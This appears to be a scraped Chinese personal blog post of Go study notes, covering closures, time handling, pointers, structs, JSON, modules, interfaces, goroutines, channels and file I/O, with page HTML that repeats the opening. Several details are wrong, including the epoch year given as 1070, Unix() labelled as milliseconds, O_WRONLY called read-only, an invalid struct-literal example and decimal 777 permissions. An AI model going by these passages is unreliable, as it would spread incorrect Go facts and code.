int){}\ngolang的全局变量和局部变量\n全局变量：常驻内存中，污染全局\n局部变量：不常驻内存中，不污染全局\n闭包：让变量可以常驻内存的同时，不污染全局\n闭包的写法：\nfunc hallo() func() int { i := 123 return func() int { return i + 666 } } func main() { var abc = hallo() fmt.Println(abc()) } 或者\nfunc hallo() func(a int) int { var i = 10 return func(a int) int { i = i + a return i } } func main() { var abc = hallo() fmt.Println(abc(666)) } defer修饰语句可以延迟执行语句，例如：\nfmt.Println(\"1\") defer fmt.Println(\"2\") fmt.Println(\"3\") 如果使用多个defer修饰语句，会逆序执行（先使用defer最后执行，最后使用defer，最早执行（相对于使用defer修饰的语句））\n在golang中的time包提供了时间显示和测量时间的函数\n获取时间（年-月-日）例如：\ntimedata := time.Now() year := timedata.Year() month := timedata.Month() day := timedata.Day() fmt.Printf(\"%d-%02d-%02d \\n\", year, month, day) 格式化日期（在golang中，并且不是使用Y-m-d H:M:S模板格式化，而且是使用Go的诞生时间：2006年1月2日 15点04分）\n例如：\ntimedata := time.Now() fmt.Println(timedata.Format(\"2006-01-02 15:04:05\")) // 24小时制 fmt.Println(timedata.Format(\"2006-01-02 03:04:05\")) // 12小时制 获取时间戳（时间戳是自1070年1月1日08:00:00GMT至今的总毫秒数，又叫Unix时间戳）\n例如：\ntimedata := time.Now() unixTime := timedata.Unix() // 毫秒时间戳 unixNaTime := timedata.UnixNano() // 纳秒时间戳 fmt.Println(unixTime,unixNaTime) 时间戳转正常日期\nvar abc = time.Unix(1642746020, 0) var xyz = abc.Format(\"2006-01-02 15:04:05\") fmt.Println(xyz) 正常日期转时间戳\nvar abc = \"2022-01-21 14:21:55\" var tmp = \"2006-01-02 15:04:05\" timedata, err := time.ParseInLocation(tmp, abc, time.Local) fmt.Println(timedata.Unix()) 时间的间隔（两个时间之间的间隔，单位为纳秒，time.Duration是time定义的类型，表示一段时间间隔，最大可以表示290年）\ndata := time.Now() abc := data.Add(time.Hour) xyz := data.Add(time.Second) fmt.Println(abc) // 输出1个小时后的时间 fmt.Println(xyz) // 输出1秒后的时间 指针\ngolang的指针有3个概念，地址，类型，取值\n\u0026：获取地址，*：根据地址取值\na := 100 b := \u0026a fmt.Println(b) // 获取地址 fmt.Println(*b) // 根据地址取值 *b = 666 fmt.Println(a) // 根据地址修改值，改变内存中的值，会改变原来的变量值 注意：指针必须在创建内存后才能使用（其他引用类型也是一样，需要用make分配空间或者在定义的时候分配空间，值类型在声明的时候已经分配了默认空间，因此值类型不用分配空间）\nnew关键字分配内存（new是一个内置函数，调用new函数得到的是指定类型的指针，并且指针对应的值为该类型的零值）\nabc := new(int) fmt.Printf(abc) fmt.Println(*abc) make和new的区别：虽然这两个都是用来内存分配的，不过make是用于map，channel，切片（slice）的初始化，返回的值为这3个类型的本身，而new是用来类型的内存分配，内存对应的值为类型的零值，返回的值为指向类型的指针\nGolang语言是面向对象语言又不是，虽然有类型和方法，也支持面向对象的编程风格，但是go没有对象（object）这个类型，也没有类（class）的概念，在go中用结构体替代面向对象语言的类（class）\ntype关键字（go通过type关键字定义结构体，结构体是值类型）\n自定义类型（type也可以来定义自定义类型）\ntype dataStr string dataStr自定义类型具备string类型的特性\ntype dataStr string func main() { var abc dataStr = \"hallo word\" fmt.Printf(\"%v %T\", abc, abc) } 类型别名（只是别名，实质上还是同一个类型）\ntype dataStr = string 结构体的定义以及初始化（type关键字和struct关键字）\ntype Data struct{ user string // 定义结构体 age int pass string } func main(){ var data Data // 实例化 data.user = \"root\" data.age = 20 data.pass = \"123456789\" fmt.Printf(\"%#v\", data) } 也可以使用new关键字实例化\nfunc main(){ var data = new(Data) // 实例化 data.user = \"root\" // 等于 (*data).user = \"root\" data.age = 20 data.pass = \"123456789\" fmt.Printf(\"%#v\", data) // 结构体指针 } 在golang中支持直接对结构体指针使用，来访问结构体的属性\n另外几种实例化结构体的方法\nvar data = \u0026Data{ data.user = \"root\", data.age = 20, data.pass = \"123456789\", } fmt.Printf(\"%#v\", data) var data = Data{ data.user = \"root\", data.age = 20, data.pass = \"123456789\", } fmt.Printf(\"%#v\", data) var data = Data{ \"root\", 20, \"123456789\", } fmt.Printf(\"%#v\", data) 结构体的方法和接收\ntype Data struct{ // 定义结构体 user string age int pass string } func (d Data) DataMain() { // 定义方法 fmt.Print(\"user:\", d.user) fmt.Print(\"age:\", d.age) fmt.Print(\"pass:\", d.pass) fmt.Println() } func (d *Data) GetData(user string, age int, pass string) { // 接收方法，因为结构体是值类型，需要使用指针 d.user = user d.age = age d.pass = pass } func main() { var data = Data{ \"root\", 20, \"123456789\", } data.DataMain() data.GetData(\"admin\", 22, \"abc12345\") data.DataMain() } 输出结果为：\nuser:rootage:20pass:123456789 user:adminage:22pass:abc12345\n自定义类型方法（类型一样可以定义方法）\ntype dataStr string func (d dataStr) dataInfo(){ fmt.Println(\"hallo golang\") // 自定义类型的自定义方法 } func main() { var abc dataStr = \"hallo word\" abc.dataInfo() } 结构体匿名字段（go允许字段在声明的时候没有字段名，只有类型，因为结构体要求字段名唯一，因此在同一个结构体中同种类型的匿名字段只能出现一次）\ntype Data struct{ // 定义结构体 string int string } func main(){ var data = Data{ // 结构体匿名字段 \"root\", 20, \"123456789\", } } 注意：结构体的字段类型可以是任意类型（包括自定义类型，结构体类型），但是如果类型是引用类型（例如map，指针）需要先使用make分配空间再使用\n结构体嵌套\ntype Data struct{ // 定义结构体 user string age int pass string datamain DataMain //嵌套DataMain结构体 } type DataMain struct{ // 定义结构体 email string phone string } func main() { var d Data d.user = \"xiaochen\" d.age = 20 d.pass = \"123456789\" var datamain DataMain datamain.email = \"a@xiaochenabc123.test.com\" datamain.phone = \"18888888888\" d.datamain = datamain fmt.Printf(\"%#v\", d) } 输出结果为main.Data{user:“xiaochen”, age:20, pass:“123456789”, datamain:main.DataMain{email:“a@xiaochenabc123.test.com”, phone:“18888888888”}}\n嵌套结构体可能出现字段名相同，go默认先从父结构体查找，如果没有再到子结构体中查找，这时如果子结构体存在相同的字段，会报错，因为不知道该设置哪个字段（所以字段名要全局唯一）\n结构体继承（可以理解为类的继承，实质效果和结构体嵌套类似）\ntype Data struct{ // 定义结构体 user string age int pass string DataMain //通过结构体嵌套实现继承 } func (data Data) datamax() { fmt.Printf(\"email: %v \\n\", data.email) } type DataMain struct{ // 定义结构体 email string phone string } func (datamain DataMain) dataabc() { fmt.Printf(\"email: %v \\n\", datamain.email) } func main() { var data = Data{ user: \"root\", DataMain: DataMain{ email: \"a@xiaochenabc123.test.com\", }, } data.datamax(); data.dataabc(); } 可以看到Data结构体拥有DataMain结构体的方法\n注意结构体的字段首字母要大写，表示公有，小写为私用\ngo结构体和json序列化\n将结构体转换为json叫json序列化，将json转换为结构体叫json反序列化\njson序列化和json反序列化主要依赖于encoding/json包的json.Marshal()方法和json.Unmarshal()方法\ntype Data struct{ // 定义结构体 User string Age int Pass string } func main() { var data = Data{ User: \"root\", Age: 20, Pass: \"123456789\", } // 结构体转换成Json（返回值为是byte类型的切片） jsonByte, _ := json.Marshal(data) // byte类型转string类型 jsonStr := string(jsonByte) fmt.Printf(string(jsonByte)) fmt.Printf(jsonStr) } json字符串转结构体\ntype Data struct{ // 定义结构体 User string Age string Pass string } func main() { // Json字符串转换成结构体 var str = `{\"User\":\"root\",\"Age\":\"20\",\"Pass\":\"123456789\"}` var data = Data{} // 第一个参数是传入byte类型的json字符串，第二个参数需要传入转换的地址 err := json.Unmarshal([]byte(str), \u0026data) if err != nil { fmt.Printf(\"转换失败 \\n\") } else { fmt.Printf(\"%#v \\n\", data) } } 结构体标签（tag）\ntag是结构体的元信息，可以在运行时通过反射的机制读取出来，tag在结构体字段后面定义，用反引号包裹，tag是以键值对的方式组成，不同的tag用空格分隔\ntype Data struct{ // 定义结构体，并且使用结构体标签 User string `json:\"user\"` Age string `json:\"age\"` Pass string `json:\"pass\"` } func main() { var data = Data{ User: \"root\", Age: \"20\", Pass: \"123456789\", } jsonByte, _ := json.Marshal(data) // byte类型转string类型 jsonStr := string(jsonByte) fmt.Printf(jsonStr) var str = `{\"User\":\"admin\",\"Age\":\"22\",\"Pass\":\"abc12345\"}` var datajson = Data{} err := json.Unmarshal([]byte(str), \u0026datajson) if err != nil { fmt.Printf(\"转换失败 \\n\") } else { fmt.Printf(\"%#v \\n\", datajson) } } 包(package)是多个源码的集合，是一种代码复用方案，像fmt，time，encoding/json都是go的内置包\ngo中的包分为3种，内置包（go提供的内置包，可以直接引入使用），自定义包（自己写的包），第三方包（也是自定义包，不过不是自己写的，需要下载到本地才能使用）\n包管理器（go mod）（在1.11版本之前需要使用自定义包的话，需要将项目放在GOPATH环境变量中，1.13之后将彻底不需要GOPATH）\n初始化项目（生成go.mod来管理项目的依赖（包括go版本和要使用到的包））\ngo mod init go_test\n如果要引入go_test项目的包，需要import “go_test/包名”，包名根据package设置\npackage 包名\n注意：包名不能和文件夹的名字相同，包名不能出现-符号，一个文件夹中直接包含的文件只能归1个package，同一个package的文件不能在多个文件夹中，而且只有引入了包名为main的程序，编译后会得到可执行文件，如果没有包含main包的程序编译不会得到可执行文件\ninit()初始化函数：导入包，自动触发包内部的init()函数的调用\ngo会先从main包开始检查其导入的所有包，每个包又可能导入了其他包，因此形成了一个树状包引入关系，根据引入的顺序来决定编译的顺序\n最后导入的包最先初始化并且调用其init()函数\ngolang第三包仓库https://pkg.go.dev/\ngo install 编译并安装包（当存在GOBIN环境变量时，编译完成的二进制文件放到$GOBIN下，如果不存在默认放到GOPATH/bin下，源码默认在$HOME/sdk下）\ngo install github.com/tal-tech/go-zero@1.4.1\ngo get 全局安装包（Go 1.17版本中已被弃用，推荐使用go install ）\ngo get github.com/tal-tech/go-zero\ngo mod download 全局安装包\n依赖自动下载到$GOPATH/pkg/mod目录，多个项目可共享缓存的mod，使用该命令之前需要在项目引入第三方包\ngo mod vendor 将依赖复制到当前项目的vendor中，需要在项目引入第三方包\ngo mod vendor\n其他命令\ngo mod edit 编辑go.mod文件\ngo mod tidy 自动处理go.mod中多引入和少引入的包（没有使用的module移除，缺少引入的module将自动引入构建，确保go.mod与模块中的源代码一致）\ngo mod graph 打印模块依赖图\ngo mod verify 校验依赖，检查下载的第三方库是否本地修改，如果没有修改则返回0（校验成功），否则返回非0（校验失败）\ngo mod why 解释为啥需要包\n使用Modules\nGO111MODULE：1.12版本之前的，要设置环境变量GO111MODULE，之后就不需要了通过设置GO111MODULE来开启或者关闭go module\nGO111MODULE = off 禁用go module，编译时在GOPATH和vendor中查找包 GO111MODULE = on 启用go module，编译时忽略GOPATH和vendor，只根据go.mod下载依赖 GO111MODULE=auto 默认值，当项目在GOPATH/src之外，并且项目的根目录有go.mod文件时启用go module\nwindows设置GO111MODULE\nset GO111MODULE=on|off|auto\nMacOS或者Linux设置GO111MODULE\nexport GO111MODULE=on|off|auto\noff和auto，下载的包安装在GOPATH/src目录下\nno，下载的包安装在GOPATH/pkg/mod/下，也在这个目录下查找包（不在GOPATH/src查找）\n也可以手动修改环境变量，GO111MODULE变量，值为on|off|auto\nGOPROXY：GO代理服务器，是Go官方提供的中间代理的方式来包下载，需要设置GOPROXY环境变量\n常见的代理服务器地址：\ngoproxy.io； goproxy.cn：由国内的七牛云提供\n一键设置GOPROXY：\nwindows：go env -w GOPROXY=https://goproxy.cn,direct\nLinux或者macOS：export GOPROXY=https://goproxy.cn\n注意：go语言在1.13版本后，GOPROXY默认为https://proxy.golang.org，如果下载缓慢或者无法访问请设置为https://goproxy.cn\n也可以手动修改环境变量，GOPROXY变量，值为https://goproxy.cn\n依赖的安装（注意：需要移除把项目从GOPATH移除（GOPATH下不允许有go.mod），否则报错$GOPATH/go.mod exists but should not）\ngo get下载指定版本的依赖包\ngo get -u 升级项目中的包到最新的次要版本或者修订版本 go get -u=patch 升级项目中的包到最新的修订版本 go get 包名@版本号 下载对应包的指定版本或者将对应包升级到指定的版本，版本号可以是v1.x.x之类的，也是可以是git的分支，tag，git提交的哈希值\n手动修改go.mod，执行go mod download或者使用go get\ngo的接口（interface）是一种抽象数据类型，接口定义了对象的行为规范，只负责定义规范，并不实现，接口的规范实现由具体的对象来实现\n接口是一组函数method的集合，接口不能存在任何变量，接口中的全部方法都没有方法体\ntype TestData interface{ // 定义一个TestData接口 test() data() } type Data struct { // 实现接口 User string } func (d Data) test() { fmt.Println(d.User, \"Test\") } func (d Data) data() { fmt.Println(d.User, \"Data\") } func main() { var datamain TestData = Data{ \"root\", } datamain.test() datamain.data() } 空接口（接口允许不定义任何方法，不定义任何方法的接口就是空接口）\ntype Maxdata interface { // 定义一个空接口，空接口表示没有约束，任何类型都能实现空接口 } func main() { var abc Maxdata var str = \"hallo word\" abc = str fmt.Println(abc) } Go1.18版本已添加any关键字来表示泛型\nfunc main(){ var abc any abc = 'hallo any' fmt.Println(abc) } 实质上any还是空接口interface{}的类型别名，type any = interface{}\n空接口也可用来当做类型，表示任意类型（类似于Java中的Object类型）\n空接口还可以用来当做函数的参数，表示可以接收任意类型的函数参数\nfunc Data(abc interface{}) { fmt.println(abc) } 使用空接口来实现可以保存任意类型的map\nvar dataInfo = make(map[string]interface{}) dataInfo[\"uesr\"] = \"root\" dataInfo[\"age\"] = 20 dataInfo[\"pass\"] = \"123456789\" 使用空接口来实现一个空接口类型的切片\nvar dataslice = make([]interface{}, 6, 6) dataslice[0] = \"root\" dataslice[1] = 20 dataslice[3] = \"123456789\" 类型断言\n接口的值是由具体类型和具体类型的值组成，称为接口的动态类型和动态值\n判断空接口的值的类型，需要使用类型断言，语法格式为：类型为interface{}的变量.(断言这个变量可能是的类型)\n例如：\nvar abc interface{} abc = 123 value, isInt := abc.(int) if isInt { fmt.Println(\"int类型, 值为：\", value) } else { fmt.Println(\"不是int类型，断言失败\") } Go并发\n还是讲一下进程和线程的区别\n进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态\n线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程\n并发和并行的区别\n并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发\n并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行\n并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程\n当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发\ngo的主线程和协程（goroutine）：主线程可调起多个协程，而多协程就是可以实现并行或者并发了\n每个goroutine (协程) 默认占用内存远比 Java 、C的线程少（goroutine是2kb，加上协程调度内存开销也比线程少，因此goroutine是轻量级线程）\n通过go关键字开启goroutine即可实现协程功能，goroutine的调度由golang运行时进行管理，例如\nvar wg sync.WaitGroup // 协程计数器 func data1() { for i := 0; i \u003c 5; i++ { fmt.Println(\"hallo word\") time.Sleep(time.Millisecond * 100) } wg.Done() // 程序结束则协程计数器减1 } func data2() { for a := 0; a \u003c 5; a++ { fmt.Println(\"hallo golang\") time.Sleep(time.Millisecond * 100) } wg.Done() // 程序结束则协程计数器减1 } func main() { wg.Add(1) // 协程计数器加1 go data1() wg.Add(1) // 协程计数器加1 go data2() for i := 0; i \u003c 5; i++ { fmt.Println(\"hallo hahaha\") time.Sleep(time.Millisecond * 100) } wg.Wait() // 等待所有的协程执行完毕 fmt.Println(\"主线程结束\") } 通过time.Sleep设置100毫秒定时，可以看到并没有顺序输出，因为这里使用了多协程\ngo运行时的调度器通过GOMAXPROCS参数来确定使用多少个OS线程来执行，默认值为计算机的cpu核心数，例如32核的计数器，调度器将程序同时调度到32个OS线程上，通过runtime.GOMAXPROCS()设置当前程序发时的CPU逻辑核心数，runtime.NumCPU()获取计算机的CPU核心数\n注意：go1.5版本之前，默认使用单核心，1.5版本之后默认使用全部核心数\nCpu := runtime.NumCPU() // 获取cpu个数 fmt.Println(\"cpu核心数:\", Cpu) runtime.GOMAXPROCS(runtime.NumCPU() - 1) // 设置要使用的CPU数量 看看多协程实质执行效果\nvar vg sync.WaitGroup func data(num int) { for i := 0; i \u003c= 10; i++ { fmt.Printf(\"协程%v输出的%v条数据 \\n\", num, i) } vg.Done() } func main() { for i := 0; i \u003c= 10; i++ { go data(i) vg.Add(1) } vg.Wait() fmt.Println(\"主线程结束\") } 通道（channel）是传输数据的一种数据结构（类型），被用来多个goroutine之间传递信息通讯，可以让goroutine发送特定值给另一个goroutine\ngo语言的并发模型是CSP（Communicating Sequential Processes），goroutine是并发体，channel是通信\nchannel遵循先入先出（First In First Out）的规则，保证数据的顺序，channel类型是引用类型\n声明管道（通过chan关键字声明）\nvar ch1 chan int // 声明传递整型的管道 var ch2 chan string // 声明传递字符串的管道 因为其是引用类型，需要使用make()声明内存空间才能使用\nch1 = make(chan int, 10) // 创建一个可以存储10个int类型的管道 ch2 = make(chan string, 10) // 创建一个可以存储10个string类型的管道 管道具备发送数据，接收数据和关闭管道功能，其中发送和接收都使用\u003c-符号表示，例如：\nch2 \u003c- \"hall word\" // 将hall word发送到ch2管道里 data := \u003c- ch2 // 接收ch2管道的数据 close(ch2) // 通过内置的close函数关闭管道 管道也有容量，长度，用cap(), len()获取\n管道阻塞：当管道没有数据，还进行接收，就会出现阻塞，同样当管道容量不足了，还进行发送数据，也会导致阻塞\n注意：当管道被关闭，还继续给管道添加数据或者接收数据将导致panic: send on closed channel报错，如果goroutine执行完毕，管道不关闭，将抛出fatal error: all goroutines are asleep - deadlock!错误\n另外使用for range循环在管道取值，在使用for range之前一定要关闭管道，使用for循环遍历管道就不需要关闭管道了\ngoroutine和channel协作\nfunc data(ch1 chan int) { for i := 0; i \u003c= 5; i++ { fmt.Println(\"写入:\", i) ch1 \u003c- i time.Sleep(time.Millisecond * 100) } wg.Done() } func dataGet(ch1 chan int) { for a := 0; a \u003c= 5; a++ { fmt.Println(\"接收:\", \u003c-ch1) time.Sleep(time.Millisecond * 100) } wg.Done() } func main() { ch1 := make(chan int, 5) wg.Add(1) go data(ch1) wg.Add(1) go dataGet(ch1) wg.Wait() fmt.Println(\"主线程结束\") } data函数写入数据到ch1，dataGet函数接收数据，并且可以看到管道写入数据后，会等待接收数据\n单向管道（限制管道在函数中只能接收数据或者只能发送数据，管道默认可接收可发送）\n声明只可发送的管道（不能接收）\nvar ch = make(chan\u003c- int, 5) ch \u003c- 10 声明只可读的管道（不能发送）\nvar ch1 = make(\u003c-chan int, 5) \u003c- ch1 使用select关键字实现多路复用，来从多个管道接收数据，因为管道的特性，没有数据可以接收会导致阻塞\nselect关键字类似于switch语句，有case分支和default分支，一个case负责一个管道的发送和接收，select会等待某个case通信操作完成，再执行case分支的语句\n例如：\nvar ch1 = make(chan int, 10) ch1 \u003c- 1 ch1 \u003c- 2 ch1 \u003c- 10 ch1 \u003c- 8 ch1 \u003c- 0 ch1 \u003c- 23 var ch2 = make(chan string, 10) ch2 \u003c- \"hallo word\" ch2 \u003c- \"hallo golang\" for { select { case data:= \u003c- ch1: fmt.Println(\"读取ch1的数据：\", data) case data:= \u003c- ch2: fmt.Println(\"读取ch2的数据：\", data) default: fmt.Println(\"所有的数据获取完毕\") return } } 可以看到管道发送数据和接收数据是按照顺序的，另外使用select获取数据时，不要关闭管道（当使用完再关闭）\n并发安全和锁\n在并发环境中，可能会出现并发访问的问题，需要使用互斥锁\n互斥锁是并发时对共享资源进行控制访问的手段，使用sync标准库的Mutex结构体定义，sync.Mutex有两个指针方法，分别是Lock()和Unlock()\nvar mutex sync.Mutex // 定义锁 mutex.Lock() // 上锁 mutex.Unlock() // 解锁 当禁止访问公共资源时上锁，当需要访问公共资源时解锁\n互斥锁实质上就是当一个goroutine访问时，其他goroutine不能访问，避免竞争，如果只读不写的话，也不会出现资源竞争的情况，因为写数据，需要保证数据同步，当写数据，又不能保证数据同步就是会出现资源竞争了\n读取数据和读取数据之间不会资源竞争的特性衍生出另外一种锁，叫做读写锁\n读写锁可以将多个读取并发，同时读取，并且对修改数据是完全互斥的，当一个goroutine修改数据（写）时，其他goroutine不能读取数据也是不能写数据\n在go语言中，读写锁用sync.RWMutex定义\nvar mu sync.RWMutex // 定义读写锁 mu.RLock() // 上锁 mu.RUnlock() // 解锁 操作文件和目录\n使用os.Open读取文件\nfile, err := os.Open(\"./data.txt\") // 读取文件 defer file.Close() // 关闭文件流 if err != nil { fmt.Println(\"打开文件出错\") } var bytedata = make([]byte, 1024) for { n, err := file.Read(bytedata) // n为字节数, err是判断是否读取到末尾，值为nil没读取到末尾，值为io.EOF读取到末尾 if err == io.EOF { fmt.Printf(\"读取完毕\") break } fmt.Printf(\"读取到了%v 个字节 \\n\", n) var strdata []byte strdata := append(strdata, bytedata...) fmt.Println(string(strdata)) } 另一种读取方式（bufio，读取大文件推荐使用这个）\nfile, err := os.Open(\"./data.txt\") // 读取文件 defer file.Close() // 关闭文件流 if err != nil { fmt.Println(\"打开文件出错\") } reader := bufio.NewReader(file) var fileStr string var count int = 0 for { str, err := reader.ReadString('\\n') if err == io.EOF { fileStr += str fmt.Println(\"读取结束\", count) break } if err != nil { fmt.Println(err) break } count ++ fileStr += str } fmt.Println(fileStr) 读取小文件（ioutil）\nStrdata, err:= ioutil.ReadFile(\"./data.txt\") if err != nil { fmt.Println(\"打开文件出错\") } fmt.Println(string(Strdata)) 写入文件（os.OpenFile）\nfile, err := os.OpenFile(\"./data.txt\", os.O_RDWR | os.O_APPEND, 777) // 打开文件 defer file.Close() // 关闭文件流 if err != nil { fmt.Println(\"打开文件出错\") } str := \"hallo word\" file.WriteString(str) // 写入文件 这里os.OpenFile接收3个参数，分别是要打开的文件的路径，打开文件的模式（多个模式用|隔开），文件的权限（和Linux文件权限一样，用八进制表示，读（04），写（02），执行（01），一般为777或者755）\nos.O_WRONLY：只读 os.O_CREATE：创建 os.O_RDONLY：只读 os.O_RDWR：读写 os.O_TRUNC：清空 os.O_APPEND：追加\nbufio写入\nfile, err := os.OpenFile(\"./main/test.txt\", os.O_RDWR | os.O_APPEND, 777) // 打开文件 defer file.Close() if err != nil { fmt.Println(\"打开文件出错\") } writer := bufio.NewWriter(file) writer.WriteString(\"hallo word\") writer.Flush() ioutil写入\nstr := \"hallo word\" ioutil.WriteFile(\"./data.txt\", []byte(str), 777) 复制内容到文件\nStr, err := ioutil.ReadFile(\"./data.txt\") if err != nil { fmt.Println(\"读取文件出错\") return } ioutil.WriteFile(\"./data1.txt\", Str, 777) 创建目录\nos.Mkdir(\"./test\", 777)\n删除文件和目录\nos.Remove(\"data1.txt\") // 删除文件 os.Remove(\"./test) // 删除目录 os.RemoveAll(\"./test1\") // 和Remove一样，不过这个会递归删除所有子目录和文件 重命名\nfile := \"./data.txt\" err1 := os.Rename(file,\"test.txt\") if err1 != nil { panic(err1) } else { fmt.Println(\"文件重命名成功\") } folder := \"./demo\" err2 := os.Rename(folder, \"demo1\") if err2 != nil { panic(err1) } else { fmt.Println(\"目录重命名成功\") } ","wordCount":"2656","inLanguage":"en","datePublished":"2021-09-09T01:00:00Z","dateModified":"2021-09-09T01:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/96/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Golang学习笔记</h1><div class=post-meta><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Golang%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言</p><p>go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率</p><p>Go语言天生支持并发，提供自动垃圾回收机制</p><p>go的源文件是xxx.go</p><p>值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了</p><p>检查是否安装成功go</p><p>go version</p><p>环境配置</p><p>GOROOT对应着go的安装目录</p><p>GOPATH对应着go的源代码目录（可以放多个目录）</p><p>GOBIN对应着 go install安装和编译的二进制程序的安装目录</p><p>检查go环境</p><p>go env</p><p>源程序默认为UTF-8编码，;可省略</p><hr><p>第一个go程序</p><pre><code>package main
+import &quot;fmt&quot;
+func main(){
+    fmt.Println(&quot;hallo golang&quot;)
+}
 </code></pre><p>go run hallo.go</p><p>当然作为一个编译型语言，编译成二进制文件是支持的</p><p>go build hallo.go</p><hr><p>作为一个静态强类型语言，如果学过java的话，理解还是很轻松的</p><p>定义包 package : 必须在源程序上声明该文件是属性那个包的</p><p>引入包 import : 导入包，引用外部包开扩展功能</p><p>注释</p><p>// 单行</p><p>/*
 多
 行
-*/</p><p>标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线</p><p>常用的数据类型有：</p><p>整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)</p><p>浮点型：float(32,64)，comple</p><p>布尔型：bool（true，false）（bool默认值为false）</p><p>字符串型：string</p><p>数组：array</p><p>结构体：struct</p><hr><p>变量</p><p>var abc string = &ldquo;hallo&rdquo;</p><p>注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）</p><p>定义多个变量</p><p>var abc xyz string = &ldquo;hallo&rdquo;,&ldquo;word&rdquo;</p><p>而且go会根据提供值来判断数据类型是什么，例如：</p><p>var xyz = 666</p><p>go还提供一个特殊的运算符 :=，可以在变量不被声明的情况下使用，例如：</p><p>hallo,word := &ldquo;hallo&rdquo;, &ldquo;word&rdquo;</p><p>:=在实质开发中会经常使用的</p><p>go类型强制转换（和java一样，高精度转为低精度会失真）</p><p>var abc int = 666</p><p>var xyz float = 3.14</p><p>var gg string = &ldquo;123&rdquo;</p><p>float(abc) // 强制转换为浮点数</p><p>int(xyz) // 强制转为整型，会失去小数点之后的数值</p><p>strconv.Itoa(abc) // 强制转为字符串</p><p>strconv.Atoi(gg) // 强制转为整型</p><p>注意：同一作用域中不能重复声明，而且必须要声明变量才能使用，而且必须要使用</p><p>声明多个变量</p><p>var abc,xyz,hallo int</p><pre><code>var(
-    abc int
-    xyz float
-)
-</code></pre><hr><p>常量</p><p>和其他语言一样，常量表示的就是不可修改的变量</p><p>const abc, xyz int = 123, 666</p><p>go还提供了一种特殊的定义方式，例如：</p><pre><code>const(
-    a = &quot;hi&quot;
-    b = &quot;hallo&quot;
-)
-</code></pre><p>如果声明多个常量时，省略了值那么就是表示和第一行值相同，例如：</p><pre><code>const(
-    a = 123
-    b
-    c
-)
-</code></pre><p>注意：定义的时候必须赋值</p><p>iota常量计数器</p><pre><code>const(
-    a = iota
-    b
-    _
-    d
-)
